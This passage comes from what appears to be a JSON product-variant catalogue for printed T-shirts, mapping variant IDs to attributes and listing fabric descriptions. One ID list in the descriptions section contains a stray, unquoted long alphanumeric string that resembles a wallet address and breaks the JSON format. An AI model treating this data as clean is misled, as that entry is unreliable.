           "2114": [2, [19, 79, 23, 5]],
           "2121": [2, [19, 79, 21, 7]],
           "2133": [2, [19, 79, 21, 3]],
           "2138": [2, [19, 79, 23, 9]],
           "2139": [2, [19, 79, 23, 45]],
           "2144": [2, [19, 79, 21, 2]],
           "2145": [2, [19, 79, 22, 2]],
           "2222": [2, [19, 79, 21, 42]],
           "2228": [2, [19, 79, 21, 43]],
           "2230": [2, [19, 79, 23, 43]],
           "2236": [2, [19, 79, 23, 44]],
           "2240": [2, [19, 79, 21, 19]],
           "2241": [2, [19, 79, 22, 19]],
           "2246": [2, [19, 79, 21, 45]],
           "2281": [2, [19, 79, 23, 69]],
           "2285": [2, [19, 79, 21, 23]],
           "2286": [2, [19, 79, 22, 23]],
           "2287": [2, [19, 79, 23, 23]],
           "2293": [2, [19, 79, 23, 67]],
           "2298": [2, [19, 79, 22, 21]],
           "2341": [2, [19, 79, 23, 70]],
           "2352": [2, [19, 79, 22, 72]],
           "2357": [2, [19, 79, 21, 22]],
           "2360": [2, [19, 79, 24, 22]],
           "3227": [2, [19, 79, 21, 108]],
           "3427": [1, [19, 79, 83, 22]],
           "2081": [3, [19, 79, 26, 1]],
           "2085": [3, [19, 79, 26, 4]],
           "2207": [3, [19, 79, 84, 9]],
           "2209": [3, [19, 79, 84, 1]],
           "3433": [1, [19, 79, 83, 3]],
           "2259": [3, [19, 79, 26, 11]],
           "2261": [3, [19, 79, 26, 2]],
           "2272": [3, [19, 79, 26, 27]],
           "3443": [1, [19, 79, 84, 2]],
           "399": [0, [20, 79, 23, 11]],
           "417": [0, [20, 79, 21, 9]],
           "422": [0, [20, 79, 21, 2]],
           "430": [0, [20, 79, 24, 3]],
           "432": [0, [20, 79, 21, 5]],
           "442": [0, [20, 79, 21, 8]],
           "443": [0, [20, 79, 22, 8]],
           "3136": [0, [20, 79, 24, 19]],
           "1708": [0, [20, 79, 21, 24]],
           "1709": [0, [20, 79, 22, 24]],
           "1710": [0, [20, 79, 23, 24]],
           "1714": [0, [20, 79, 21, 62]],
           "1722": [0, [20, 79, 23, 23]],
           "1723": [0, [20, 79, 24, 23]],
           "1728": [0, [20, 79, 23, 68]],
           "3147": [0, [20, 79, 23, 43]],
           "3148": [0, [20, 79, 24, 43]],
           "3182": [0, [20, 79, 22, 60]],
           "3187": [0, [20, 79, 21, 60]],
           "2435": [0, [20, 79, 21, 12]],
           "2445": [0, [20, 79, 21, 11]],
           "2452": [0, [20, 79, 23, 10]],
           "2609": [0, [20, 79, 23, 23]],
           "2610": [0, [20, 79, 24, 23]],
           "2613": [0, [20, 79, 21, 68]],
           "2619": [0, [20, 79, 21, 22]],
           "984": [4, [20, 79, 26, 12]],
           "3318": [4, [20, 79, 26, 3]],
           "3319": [4, [20, 79, 26, 3]],
           "3484": [1, [19, 79, 84, 43]],
           "3204": [4, [20, 79, 26, 20]],
           "2624": [4, [20, 79, 26, 22]],
           "3160": [2, [20, 79, 24, 43]],
           "2200": [2, [20, 79, 21, 8]],
           "2263": [2, [20, 79, 24, 2]],
           "2303": [2, [20, 79, 21, 27]],
           "3198": [3, [20, 79, 26, 60]],
           "3485": [1, [19, 79, 84, 43]],
           "3216": [3, [20, 79, 26, 20]],
           "3144": [3, [20, 79, 26, 19]],
           "3487": [1, [19, 79, 83, 42]],
           "3186": [4, [20, 79, 26, 60]],
           "3210": [4, [20, 79, 26, 20]],
           "3132": [4, [20, 79, 26, 19]],
           "3150": [4, [20, 79, 26, 43]],
           "3423": [3, [19, 79, 83, 67]],
           "2534": [4, [20, 79, 26, 11]],
           "2535": [4, [20, 79, 26, 4]],
           "2536": [4, [20, 79, 26, 5]],
           "2537": [4, [20, 79, 26, 7]],
           "2600": [4, [20, 79, 26, 24]],
           "3177": [2, [20, 79, 23, 45]],
           "3176": [2, [20, 79, 22, 45]],
           "2156": [2, [20, 79, 23, 1]],
           "2161": [2, [20, 79, 23, 11]],
           "2166": [2, [20, 79, 23, 10]],
           "2167": [2, [20, 79, 24, 10]],
           "2177": [2, [20, 79, 24, 7]],
           "2184": [2, [20, 79, 21, 2]],
           "2185": [2, [20, 79, 22, 2]],
           "2186": [2, [20, 79, 23, 2]],
           "2188": [2, [20, 79, 24, 3]],
           "2192": [2, [20, 79, 23, 5]],
           "2196": [2, [20, 79, 22, 6]],
           "2197": [2, [20, 79, 23, 6]],
           "2198": [2, [20, 79, 24, 6]],
           "2201": [2, [20, 79, 22, 8]],
           "2202": [2, [20, 79, 23, 8]],
           "2203": [2, [20, 79, 24, 8]],
           "2265": [2, [20, 79, 21, 3]],
           "2305": [2, [20, 79, 23, 27]],
           "2315": [2, [20, 79, 21, 62]],
           "2327": [2, [20, 79, 21, 68]],
           "2330": [2, [20, 79, 24, 68]],
           "3180": [3, [20, 79, 26, 45]],
           "2077": [3, [20, 79, 26, 6]],
           "3483": [3, [19, 79, 83, 43]],
           "3162": [3, [20, 79, 26, 43]],
           "3492": [3, [19, 79, 84, 42]],
           "2219": [3, [20, 79, 26, 1]],
           "2220": [3, [20, 79, 26, 9]],
           "2251": [3, [20, 79, 26, 7]],
           "2253": [3, [20, 79, 26, 12]],
           "3507": [4, [20, 393, 22, 1]],
           "3509": [4, [20, 393, 22, 4]],
           "2338": [3, [20, 79, 26, 22]],
           "831": [5, [19, 80, 23, 46]],
           "832": [5, [19, 80, 24, 46]],
           "1023": [5, [19, 80, 24, 54]],
           "1025": [5, [19, 80, 21, 4]],
           "1027": [5, [19, 80, 23, 4]],
           "1028": [5, [19, 80, 24, 4]],
           "1030": [5, [19, 80, 21, 43]],
           "1033": [5, [19, 80, 24, 43]],
           "1040": [5, [19, 80, 21, 45]],
           "1045": [5, [19, 80, 21, 44]],
           "1048": [5, [19, 80, 24, 44]],
           "1035": [5, [19, 80, 21, 42]],
           "827": [16, [19, 80, 25, 47]],
           "1029": [16, [19, 80, 25, 4]],
           "1049": [16, [19, 80, 25, 44]],
           "988": [5, [20, 80, 24, 54]],
           "991": [5, [20, 80, 22, 4]],
           "996": [5, [20, 80, 22, 43]],
           "1000": [5, [20, 80, 21, 42]],
           "1001": [5, [20, 80, 22, 42]],
           "1006": [5, [20, 80, 22, 45]],
           "1010": [5, [20, 80, 21, 44]],
           "1011": [5, [20, 80, 22, 44]],
           "989": [16, [20, 80, 25, 54]],
           "994": [16, [20, 80, 25, 4]],
           "1322": [6, [19, 81, 21, 38]],
           "1340": [6, [19, 81, 24, 57]],
           "1343": [6, [19, 81, 22, 11]],
           "1344": [6, [19, 81, 23, 11]],
           "1345": [6, [19, 81, 24, 11]],
           "1347": [6, [19, 81, 21, 7]],
           "1349": [6, [19, 81, 23, 7]],
           "1353": [6, [19, 81, 22, 8]],
           "1354": [6, [19, 81, 23, 8]],
           "1359": [6, [19, 81, 23, 12]],
           "1360": [6, [19, 81, 24, 12]],
           "1331": [14, [19, 81, 25, 1]],
           "1336": [14, [19, 81, 25, 9]],
           "1346": [14, [19, 81, 25, 11]],
           "1356": [14, [19, 81, 25, 8]],
           "1361": [14, [19, 81, 25, 12]],
           "3097": [6, [20, 81, 22, 4]],
           "851": [6, [20, 81, 21, 1]],
           "874": [6, [20, 81, 24, 7]],
           "2839": [4, [19, 218, 24, 12]],
           "2844": [4, [19, 218, 21, 1]],
           "2885": [4, [19, 218, 22, 4]],
           "2887": [4, [19, 218, 24, 4]],
           "2842": [7, [19, 218, 83, 12]],
           "2849": [7, [19, 218, 26, 1]],
           "2857": [7, [19, 218, 26, 8]],
           "2791": [4, [20, 213, 22, 1]],
           "2960": [6, [19, 328, 23, 1]],
           "2967": [6, [19, 328, 24, 4]],
           "2972": [6, [19, 328, 23, 19]],
           "2976": [6, [19, 328, 21, 74]],
           "2966": [6, [19, 328, 23, 4]],
           "3236": [11, [19, 370, 24, 1]],
           "3424": [1, [19, 79, 84, 67]],
           "3437": [1, [19, 79, 84, 3]],
           "3459": [3, [19, 79, 83, 69]],
           "3508": [4, [20, 393, 22, 12]],
           "3540": [7, [20, 393, 26, 12]],
           "891": [6, [20, 81, 21, 9]],
           "898": [6, [20, 81, 23, 12]],
           "2955": [6, [19, 328, 24, 12]],
           "2970": [6, [19, 328, 21, 19]],
           "3425": [1, [19, 79, 84, 67]],
           "3441": [3, [19, 79, 83, 2]],
           "3444": [3, [19, 79, 84, 2]],
           "3448": [1, [19, 79, 84, 21]],
           "3336": [1, [19, 378, 21, 110]],
           "3337": [1, [19, 378, 22, 110]],
           "3353": [17, [19, 378, 26, 30]],
           "3449": [1, [19, 79, 84, 21]],
           "3511": [4, [20, 393, 22, 11]],
           "3516": [4, [20, 393, 23, 12]],
           "3518": [4, [20, 393, 23, 3]],
           "3538": [1, [20, 393, 25, 111]],
           "3545": [7, [20, 393, 26, 69]],
           "3571": [7, [19, 395, 1, 112]],
           "3572": [7, [19, 395, 1, 113]],
           "3573": [7, [19, 395, 1, 60]],
           "3576": [7, [19, 395, 21, 1]],
           "3587": [7, [19, 395, 22, 12]],
           "3589": [7, [19, 395, 22, 112]],
           "3590": [7, [19, 395, 22, 113]],
           "899": [6, [20, 81, 24, 12]],
           "890": [14, [20, 81, 25, 8]],
           "895": [14, [20, 81, 25, 9]],
           "880": [14, [20, 81, 25, 22]],
           "2853": [4, [19, 218, 22, 8]],
           "2854": [4, [19, 218, 23, 8]],
           "2851": [7, [19, 218, 84, 1]],
           "2828": [4, [20, 213, 23, 9]],
           "1825": [8, [19, 135, 21, 11]],
           "1832": [8, [19, 135, 23, 12]],
           "3041": [9, [19, 135, 25, 19]],
           "3023": [10, [19, 135, 26, 107]],
           "2973": [6, [19, 328, 24, 19]],
           "3428": [1, [19, 79, 83, 22]],
           "3429": [3, [19, 79, 83, 22]],
           "3300": [1, [19, 371, 26, 12]],
           "3462": [3, [19, 79, 84, 69]],
           "3464": [1, [19, 79, 83, 6]],
           "3338": [1, [19, 378, 23, 110]],
           "3340": [7, [19, 378, 25, 110]],
           "3347": [17, [19, 378, 26, 28]],
           "2855": [4, [19, 218, 24, 8]],
           "2797": [4, [20, 213, 22, 4]],
           "2804": [4, [20, 213, 23, 7]],
           "2958": [6, [19, 328, 21, 1]],
           "2961": [6, [19, 328, 24, 1]],
           "2964": [6, [19, 328, 21, 4]],
           "2983": [6, [19, 328, 22, 3]],
           "2991": [6, [19, 328, 24, 75]],
           "2963": [15, [19, 328, 26, 1]],
           "2987": [15, [19, 328, 26, 3]],
           "3244": [11, [19, 370, 23, 31]],
           "3288": [12, [19, 371, 22, 7]],
           "3289": [12, [19, 371, 21, 7]],
           "3296": [12, [19, 371, 24, 12]],
           "3313": [12, [19, 371, 21, 5]],
           "3301": [12, [19, 371, 21, 11]],
           "3430": [1, [19, 79, 84, 22]],
           "1104": [13, [20, 104, 21, 38]],
           "1110": [13, [20, 104, 23, 57]],
           "1133": [13, [20, 104, 22, 65]],
           "1136": [13, [20, 104, 21, 54]],
           "1137": [13, [20, 104, 22, 54]],
           "3432": [3, [19, 79, 84, 22]],
           "3482": [1, [19, 79, 83, 43]],
           "3486": [3, [19, 79, 84, 43]],
           "2074": [10, [19, 135, 26, 12]],
           "2953": [6, [19, 328, 22, 12]],
           "3431": [1, [19, 79, 84, 22]],
           "3439": [1, [19, 79, 83, 2]],
           "3447": [3, [19, 79, 83, 21]],
           "3339": [1, [19, 378, 24, 110]],
           "3352": [7, [19, 378, 25, 30]],
           "3357": [1, [19, 378, 24, 1]],
           "3359": [17, [19, 378, 26, 1]],
           "3363": [1, [19, 378, 24, 68]],
           "3367": [1, [19, 378, 22, 9]],
           "3368": [1, [19, 378, 23, 9]],
           "3512": [4, [20, 393, 22, 47]],
           "3574": [7, [19, 395, 1, 3]],
           "3594": [7, [19, 395, 23, 1]],
           "3600": [7, [19, 395, 23, 60]],
           "3624": [5, [19, 395, 26, 33]],
           "1115": [13, [20, 104, 24, 59]],
           "1122": [13, [20, 104, 23, 43]],
           "1123": [13, [20, 104, 24, 43]],
           "1125": [13, [20, 104, 22, 40]],
           "1129": [13, [20, 104, 22, 42]],
           "3434": [1, [19, 79, 83, 3]],
           "3440": [1, [19, 79, 83, 2]],
           "3341": [17, [19, 378, 26, 110]],
           "3369": [1, [19, 378, 24, 9]],
           "3453": [3, [19, 79, 83, 5]],
           "3435": [3, [19, 79, 83, 3]],
           "3451": [1, [19, 79, 83, 5]],
           "3457": [1, [19, 79, 83, 69]],
           "3342": [1, [19, 378, 21, 28]],
           "3351": [1, [19, 378, 24, 30]],
           "3355": [1, [19, 378, 22, 1]],
           "3361": [1, [19, 378, 22, 68]],
           "3364": [7, [19, 378, 25, 68]],
           "3513": [4, [20, 393, 22, 69]],
           "3519": [4, [20, 393, 23, 11]],
           "3524": [4, [20, 393, 24, 12]],
           "3575": [7, [19, 395, 1, 114]],
           "3436": [1, [19, 79, 84, 3]],
           "3450": [3, [19, 79, 84, 21]],
           "3343": [1, [19, 378, 22, 28]],
           "3346": [7, [19, 378, 25, 28]],
           "3371": [17, [19, 378, 26, 9]],
           "3455": [1, [19, 79, 84, 5]],
           "3456": [3, [19, 79, 84, 5]],
           "3458": [1, [19, 79, 83, 69]],
           "3470": [1, [19, 79, 83, 27]],
           "3474": [3, [19, 79, 84, 27]],
           "3476": [1, [19, 79, 83, 19]],
           "3480": [3, [19, 79, 84, 19]],
           "3491": [1, [19, 79, 84, 42]],
           "3493": [1, [19, 79, 83, 45]],
           "3514": [4, [20, 393, 22, 111]],
           "3517": [4, [20, 393, 23, 4]],
           "3525": [4, [20, 393, 24, 4]],
           "3543": [7, [20, 393, 26, 11]],
           "3577": [7, [19, 395, 21, 26]],
           "3591": [7, [19, 395, 22, 60]],
           "3615": [17, [19, 395, 25, 33]],
           "3617": [17, [19, 395, 25, 113]],
           "3622": [5, [19, 395, 26, 26]],
           "3442": [1, [19, 79, 84, 2]],
           "3344": [1, [19, 378, 23, 28]],
           "3358": [7, [19, 378, 25, 1]],
           "3463": [1, [19, 79, 83, 6]],
           "3497": [1, [19, 79, 84, 45]],
           "3515": [4, [20, 393, 23, 1]],
           "3529": [4, [20, 393, 24, 69]],
           "3533": [1, [20, 393, 25, 4]],
           "3578": [7, [19, 395, 21, 12]],
           "3593": [7, [19, 395, 22, 114]],
           "3610": [7, [19, 395, 24, 3]],
           "3345": [1, [19, 378, 24, 28]],
           "3356": [1, [19, 378, 23, 1]],
           "3362": [1, [19, 378, 23, 68]],
           "3370": [7, [19, 378, 25, 9]],
           "3446": [1, [19, 79, 83, 21]],
           "3520": [4, [20, 393, 23, 47]],
           "3527": [4, [20, 393, 24, 11]],
           "3541": [7, [20, 393, 26, 4]],
           "3542": [7, [20, 393, 26, 3]],
           "3579": [7, [19, 395, 21, 33]],
           "3580": [7, [19, 395, 21, 112]],
           "3625": [5, [19, 395, 26, 112]],
           "3627": [5, [19, 395, 26, 60]],
           "3348": [1, [19, 378, 21, 30]],
           "3349": [1, [19, 378, 22, 30]],
           "3354": [1, [19, 378, 21, 1]],
           "3461": [1, [19, 79, 84, 69]],
           "3466": [1, [19, 79, 84, 6]],
           "3467": [1, [19, 79, 84, 6]],
           "3468": [3, [19, 79, 84, 6]],
           "3521": [4, [20, 393, 23, 69]],
           "3522": [4, [20, 393, 23, 111]],
           "3581": [7, [19, 395, 21, 113]],
           "3584": [7, [19, 395, 21, 114]],
           "3598": [7, [19, 395, 23, 112]],
           "3350": [1, [19, 378, 23, 30]],
           "3360": [1, [19, 378, 21, 68]],
           "3365": [17, [19, 378, 26, 68]],
           "3366": [1, [19, 378, 21, 9]],
           "3471": [3, [19, 79, 83, 27]],
           "3523": [4, [20, 393, 24, 1]],
           "3582": [7, [19, 395, 21, 60]],
           "3583": [7, [19, 395, 21, 3]],
           "3586": [7, [19, 395, 22, 26]],
           "3596": [7, [19, 395, 23, 12]],
           "3609": [7, [19, 395, 24, 60]],
           "3611": [7, [19, 395, 24, 114]],
           "2368": [12, [19, 79, 25, 10]],
           "3": [12, [19, 79, 25, 1]],
           "2581": [12, [19, 79, 25, 67]],
           "1": [12, [19, 79, 25, 12]],
           "337": [12, [19, 79, 25, 4]],
           "2569": [12, [19, 79, 25, 69]],
           "21": [12, [19, 79, 25, 2]],
           "1700": [12, [19, 79, 25, 21]],
           "2647": [12, [19, 79, 25, 22]],
           "923": [12, [19, 79, 25, 19]],
           "2427": [12, [19, 79, 25, 45]],
           "15": [12, [19, 79, 25, 8]],
           "373": [12, [19, 79, 25, 3]],
           "1688": [12, [19, 79, 25, 23]],
           "11": [12, [19, 79, 25, 6]],
           "9": [12, [19, 79, 25, 5]],
           "1818": [12, [19, 79, 25, 22]],
           "1750": [12, [19, 79, 25, 70]],
           "13": [12, [19, 79, 25, 7]],
           "17": [12, [19, 79, 25, 9]],
           "1676": [12, [19, 79, 25, 24]],
           "1694": [12, [19, 79, 25, 67]],
           "5": [12, [19, 79, 25, 10]],
           "2629": [12, [19, 79, 25, 70]],
           "3228": [12, [19, 79, 25, 108]],
           "929": [12, [19, 79, 25, 45]],
           "905": [12, [19, 79, 25, 42]],
           "911": [12, [19, 79, 25, 43]],
           "917": [12, [19, 79, 25, 44]],
           "3219": [12, [19, 79, 25, 108]],
           "2376": [12, [19, 79, 25, 7]],
           "2396": [12, [19, 79, 25, 4]],
           "2575": [12, [19, 79, 25, 23]],
           "19": [12, [19, 79, 25, 11]],
           "2587": [12, [19, 79, 25, 21]],
           "2420": [12, [19, 79, 25, 3]],
           "2641": [12, [19, 79, 25, 72]],
           "2530": [12, [19, 79, 25, 19]],
           "2544": [12, [19, 79, 25, 11]],
           "2540": [12, [19, 79, 25, 8]],
           "2512": [12, [19, 79, 25, 42]],
           "2557": [12, [19, 79, 25, 27]],
           "2518": [12, [19, 79, 25, 43]],
           "1670": [12, [19, 79, 25, 27]],
           "1682": [12, [19, 79, 25, 69]],
           "2524": [12, [19, 79, 25, 44]],
           "2366": [12, [19, 79, 25, 1]],
           "1812": [12, [19, 79, 25, 72]],
           "1756": [12, [19, 79, 25, 71]],
           "2546": [12, [19, 79, 25, 2]],
           "2542": [12, [19, 79, 25, 9]],
           "2364": [12, [19, 79, 25, 12]],
           "2372": [12, [19, 79, 25, 5]],
           "2374": [12, [19, 79, 25, 6]],
           "2635": [12, [19, 79, 25, 71]],
           "2563": [12, [19, 79, 25, 24]],
           "3481": [1, [19, 79, 83, 43]],
           "3490": [1, [19, 79, 84, 42]],
           "3528": [4, [20, 393, 24, 47]],
           "3532": [1, [20, 393, 25, 12]],
           "3585": [7, [19, 395, 22, 1]],
           "3607": [7, [19, 395, 24, 112]],
           "3608": [7, [19, 395, 24, 113]],
           "3619": [17, [19, 395, 25, 3]],
           "2349": [18, [19, 79, 25, 71]],
           "2256": [18, [19, 79, 25, 9]],
           "2141": [18, [19, 79, 25, 45]],
           "2078": [18, [19, 79, 25, 12]],
           "2088": [18, [19, 79, 25, 6]],
           "2134": [18, [19, 79, 25, 3]],
           "2343": [18, [19, 79, 25, 70]],
           "2355": [18, [19, 79, 25, 72]],
           "2283": [18, [19, 79, 25, 69]],
           "3222": [18, [19, 79, 25, 108]],
           "2361": [18, [19, 79, 25, 22]],
           "2238": [18, [19, 79, 25, 44]],
           "2289": [18, [19, 79, 25, 23]],
           "2295": [18, [19, 79, 25, 67]],
           "2301": [18, [19, 79, 25, 21]],
           "2244": [18, [19, 79, 25, 19]],
           "2254": [18, [19, 79, 25, 8]],
           "2258": [18, [19, 79, 25, 11]],
           "2271": [18, [19, 79, 25, 27]],
           "2090": [18, [19, 79, 25, 7]],
           "2232": [18, [19, 79, 25, 43]],
           "2110": [18, [19, 79, 25, 4]],
           "2080": [18, [19, 79, 25, 1]],
           "2086": [18, [19, 79, 25, 5]],
           "2226": [18, [19, 79, 25, 42]],
           "2277": [18, [19, 79, 25, 24]],
           "2260": [18, [19, 79, 25, 2]],
           "2082": [18, [19, 79, 25, 10]],
           "441": [12, [20, 79, 25, 6]],
           "2464": [12, [20, 79, 25, 7]],
           "3173": [12, [20, 79, 25, 45]],
           "3203": [12, [20, 79, 25, 20]],
           "3209": [12, [20, 79, 25, 20]],
           "1718": [12, [20, 79, 25, 62]],
           "2623": [12, [20, 79, 25, 22]],
           "391": [12, [20, 79, 25, 12]],
           "436": [12, [20, 79, 25, 5]],
           "396": [12, [20, 79, 25, 1]],
           "406": [12, [20, 79, 25, 10]],
           "421": [12, [20, 79, 25, 9]],
           "446": [12, [20, 79, 25, 8]],
           "2490": [12, [20, 79, 25, 8]],
           "2617": [12, [20, 79, 25, 68]],
           "2611": [12, [20, 79, 25, 23]],
           "2459": [12, [20, 79, 25, 4]],
           "2454": [12, [20, 79, 25, 10]],
           "426": [12, [20, 79, 25, 2]],
           "3155": [12, [20, 79, 25, 43]],
           "431": [12, [20, 79, 25, 3]],
           "3137": [12, [20, 79, 25, 19]],
           "2444": [12, [20, 79, 25, 1]],
           "2475": [12, [20, 79, 25, 3]],
           "1724": [12, [20, 79, 25, 23]],
           "2599": [12, [20, 79, 25, 24]],
           "2605": [12, [20, 79, 25, 62]],
           "3149": [12, [20, 79, 25, 43]],
           "2593": [12, [20, 79, 25, 27]],
           "1712": [12, [20, 79, 25, 24]],
           "3185": [12, [20, 79, 25, 60]],
           "2449": [12, [20, 79, 25, 11]],
           "3191": [12, [20, 79, 25, 60]],
           "416": [12, [20, 79, 25, 7]],
           "2469": [12, [20, 79, 25, 9]],
           "2485": [12, [20, 79, 25, 6]],
           "3131": [12, [20, 79, 25, 19]],
           "401": [12, [20, 79, 25, 11]],
           "3167": [12, [20, 79, 25, 45]],
           "2480": [12, [20, 79, 25, 5]],
           "2550": [12, [20, 79, 25, 2]],
           "1730": [12, [20, 79, 25, 68]],
           "1706": [12, [20, 79, 25, 27]],
           "2439": [12, [20, 79, 25, 12]],
           "1736": [12, [20, 79, 25, 22]],
           "411": [12, [20, 79, 25, 4]],
           "3143": [18, [20, 79, 25, 19]],
           "3161": [18, [20, 79, 25, 43]],
           "3215": [18, [20, 79, 25, 20]],
           "2168": [18, [20, 79, 25, 10]],
           "2325": [18, [20, 79, 25, 23]],
           "2264": [18, [20, 79, 25, 2]],
           "2163": [18, [20, 79, 25, 11]],
           "2194": [18, [20, 79, 25, 5]],
           "2313": [18, [20, 79, 25, 24]],
           "2319": [18, [20, 79, 25, 62]],
           "2153": [18, [20, 79, 25, 12]],
           "2189": [18, [20, 79, 25, 3]],
           "2307": [18, [20, 79, 25, 27]],
           "3197": [18, [20, 79, 25, 60]],
           "2158": [18, [20, 79, 25, 1]],
           "2173": [18, [20, 79, 25, 4]],
           "2178": [18, [20, 79, 25, 7]],
           "2183": [18, [20, 79, 25, 9]],
           "3179": [18, [20, 79, 25, 45]],
           "2199": [18, [20, 79, 25, 6]],
           "2204": [18, [20, 79, 25, 8]],
           "2331": [18, [20, 79, 25, 68]],
           "2337": [18, [20, 79, 25, 22]],
           "2840": [1, [19, 218, 25, 12]],
           "2888": [1, [19, 218, 25, 4]],
           "2848": [1, [19, 218, 25, 1]],
           "2872": [1, [19, 218, 25, 7]],
           "2880": [1, [19, 218, 25, 9]],
           "2864": [1, [19, 218, 25, 18]],
           "2856": [1, [19, 218, 25, 8]],
           "2812": [1, [20, 213, 25, 11]],
           "2818": [1, [20, 213, 25, 12]],
           "2794": [1, [20, 213, 25, 1]],
           "2800": [1, [20, 213, 25, 4]],
           "2824": [1, [20, 213, 25, 27]],
           "2806": [1, [20, 213, 25, 7]],
           "2830": [1, [20, 213, 25, 9]],
           "2962": [14, [19, 328, 25, 1]],
           "2968": [14, [19, 328, 25, 4]],
           "2956": [14, [19, 328, 25, 12]],
           "2980": [14, [19, 328, 25, 74]],
           "2986": [14, [19, 328, 25, 3]],
           "2974": [14, [19, 328, 25, 19]],
           "2992": [14, [19, 328, 25, 75]],
           "3298": [4, [19, 371, 25, 11]],
           "3299": [4, [19, 371, 25, 9]],
           "3315": [4, [19, 371, 25, 5]],
           "3277": [4, [19, 371, 25, 8]],
           "3290": [4, [19, 371, 25, 7]],
           "3270": [4, [19, 371, 25, 1]],
           "3271": [4, [19, 371, 25, 12]],
           "3489": [3, [19, 79, 83, 42]],
           "3530": [4, [20, 393, 24, 111]],
           "3531": [1, [20, 393, 25, 1]],
           "3534": [1, [20, 393, 25, 3]],
           "3588": [7, [19, 395, 22, 33]],
           "3602": [7, [19, 395, 23, 114]],
           "3605": [7, [19, 395, 24, 12]],
           "3616": [17, [19, 395, 25, 112]],
           "3245": [19, [19, 370, 25, 31]],
           "3242": [19, [19, 370, 25, 107]],
           "3243": [19, [19, 370, 25, 12]],
           "3232": [19, [19, 370, 25, 1]],
           "2795": [7, [20, 213, 26, 1]],
           "2813": [7, [20, 213, 26, 11]],
           "3535": [1, [20, 393, 25, 11]],
           "3592": [7, [19, 395, 22, 3]],
           "3628": [5, [19, 395, 26, 3]],
           "2801": [7, [20, 213, 26, 4]],
           "3488": [1, [19, 79, 83, 42]],
           "3494": [1, [19, 79, 83, 45]],
           "3536": [1, [20, 393, 25, 47]],
           "3539": [7, [20, 393, 26, 1]],
           "3603": [7, [19, 395, 24, 1]],
           "3604": [7, [19, 395, 24, 26]],
           "3613": [17, [19, 395, 25, 26]],
           "2807": [7, [20, 213, 26, 7]],
           "3544": [7, [20, 393, 26, 47]],
           "3606": [7, [19, 395, 24, 33]],
           "3614": [17, [19, 395, 25, 12]],
           "2819": [7, [20, 213, 26, 12]],
           "3546": [7, [20, 393, 26, 111]],
           "3612": [17, [19, 395, 25, 1]],
           "2825": [7, [20, 213, 26, 27]],
           "3620": [17, [19, 395, 25, 114]],
           "3626": [5, [19, 395, 26, 113]],
           "2831": [7, [20, 213, 26, 9]],
           "3621": [5, [19, 395, 26, 1]],
           "3629": [5, [19, 395, 26, 114]]
          },
          "descriptions": [
           ["50% Cotton / 50% Polyester. Heathered colors offer additional stretch and options -- the softest shirts in the business and the perfect weight for a graphic tee.", [1339, 1338, 1340, 1337, 1341]],
           ["Cotton/Poly blend. The softest in the business and the perfect weight for a graphic tee", [2393, 8, 2085, 2172, 337, 2535, 338, 2212, 2213, 2371, 2459, 407, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 2171, 2249, 2392, 2394, 333, 334, 1324, 1322, 335, 336, 1323, 538, 1326, 2397, 2109, 2106, 2110, 2108, 2499, 411, 2173]],
           ["100% combed ringspun cotton. The perfect fabric for a graphic tee in a relaxed cut and still the softest in the business.", [2806, 2799, 2796, 2801, 2824, 2795, 2830, 2829, 2810, 2809, 2794, 2800, 2815, 2797, 2825, 2813, 2819, 2804, 2812, 2817, 2811, 2791, 2792, 2793, 2807, 2802, 2803, 2826, 2827, 2831, 2820, 2821, 2822, 2823, 2798, 2814, 2808, 2790, 2805, 2816, 2818, 2828]],
           ["65% Polyester, 35% Viscose. Lightweight with the perfect cut and a flattering v-neck. Fabric drapes loosely across body for a comfortable, relaxed fit.", [1785, 1786, 1787, 1788, 1790, 1791, 1793, 1798, 1799, 1802, 1805, 1806, 1796, 1783, 1792, 1804, 1797, 1800, 1801, 1807, 1784, 1789, 1794, 1803, 1795]],
           ["50% Polyester, 25% Cotton, 25% Rayon blend. A light, bouncy shirt with a flowy, relaxed fit and dolman sleeves.", [1130, 1121, 1108, 1111, 1100, 1101, 1102, 1129, 1116, 1127, 1107, 1120, 1119, 1105, 1109, 1110, 1112, 1115, 1132, 1124, 1136, 1137, 1104, 1138, 1139, 1106, 1103, 1128, 1131, 1122, 1123, 1113, 1114, 1133, 1134, 1135, 1125, 1126, 1117, 1118]],
           ["Combed ringspun cotton/poly blend. A perfectly comfortable combination of classic cut and vintage style.", [2776, 2786, 2787, 2781, 2782, 2783, 2780, 2785, 2770, 2772, 2775, 2777, 2771, 2773, 2778, 2788]],
           ["100% Airlume pre-shrunk combed and ringspun cotton", [3247, 3241, 3236, 3246, 3250, 3243, 3248, 3249, 3251, 3239, 3234, 3244, 3232, 3233, 3235, 3237, 3238, 3240, 3242, 3245]],
           ["100% combed ringspun cotton. The perfect fabric for a graphic tee and the softest in the business. (Due to product availability, cotton type may vary for 2XL and 3XL sizes)", [3408, 3403, 3404, 2478, 3452, 3498, 3417, 3252, 3405, 3460, 3465, 3454, 2637, 3406, 2205, 3411, 3407, 3421, 3416, 881, 3412, 3414, 3261, 3413, 3479, 3127, 3438, 3445, 3418, 3410, 3469, 3436, 3439, 2415, 3450, 3419, 3437, 3424, 3495, 3420, 3427, 3422, 2558, 2582, 3423, 3448, 3441, 3444, 3426, 364, 2368, 3253, 3428, 3429, 3, 3462, 3464, 7, 3259, 3430, 3432, 3263, 3264, 3265, 2122, 3256, 3266, 2500, 2501, 3254, 3260, 1, 357, 3440, 3434, 3258, 3262, 3255, 2264, 3210, 3453, 2191, 3457, 3435, 2206, 329, 4, 3257, 3451, 1680, 540, 1709, 2310, 3463, 3497, 2272, 3442, 3446, 374, 377, 875, 20, 3449, 2193, 2165, 2305, 2121, 3141, 3458, 2592, 2306, 3171, 3456, 2125, 3455, 2133, 3466, 3467, 358, 376, 3461, 3468, 3475, 3476, 2442, 2451, 3493, 3480, 2360, 3491, 1334, 3425, 22, 341, 3209, 378, 3490, 3481, 441, 2593, 389, 391, 3487, 433, 436, 421, 383, 3203, 3431, 3488, 3494, 1967, 10, 315, 316, 366, 1361, 1344, 3489, 344, 3496, 382, 348, 2151, 2154, 1704, 3134, 369, 3471, 3133, 3096, 1808, 2192, 352, 1348, 3443, 3478, 2331, 2175, 3215, 2569, 3409, 3160, 3169, 1710, 2489, 21, 2471, 3415, 3459, 3177, 3091, 854, 1700, 3447, 2388, 878, 2440, 3433, 2581, 1711, 1723, 3319, 3482, 2256, 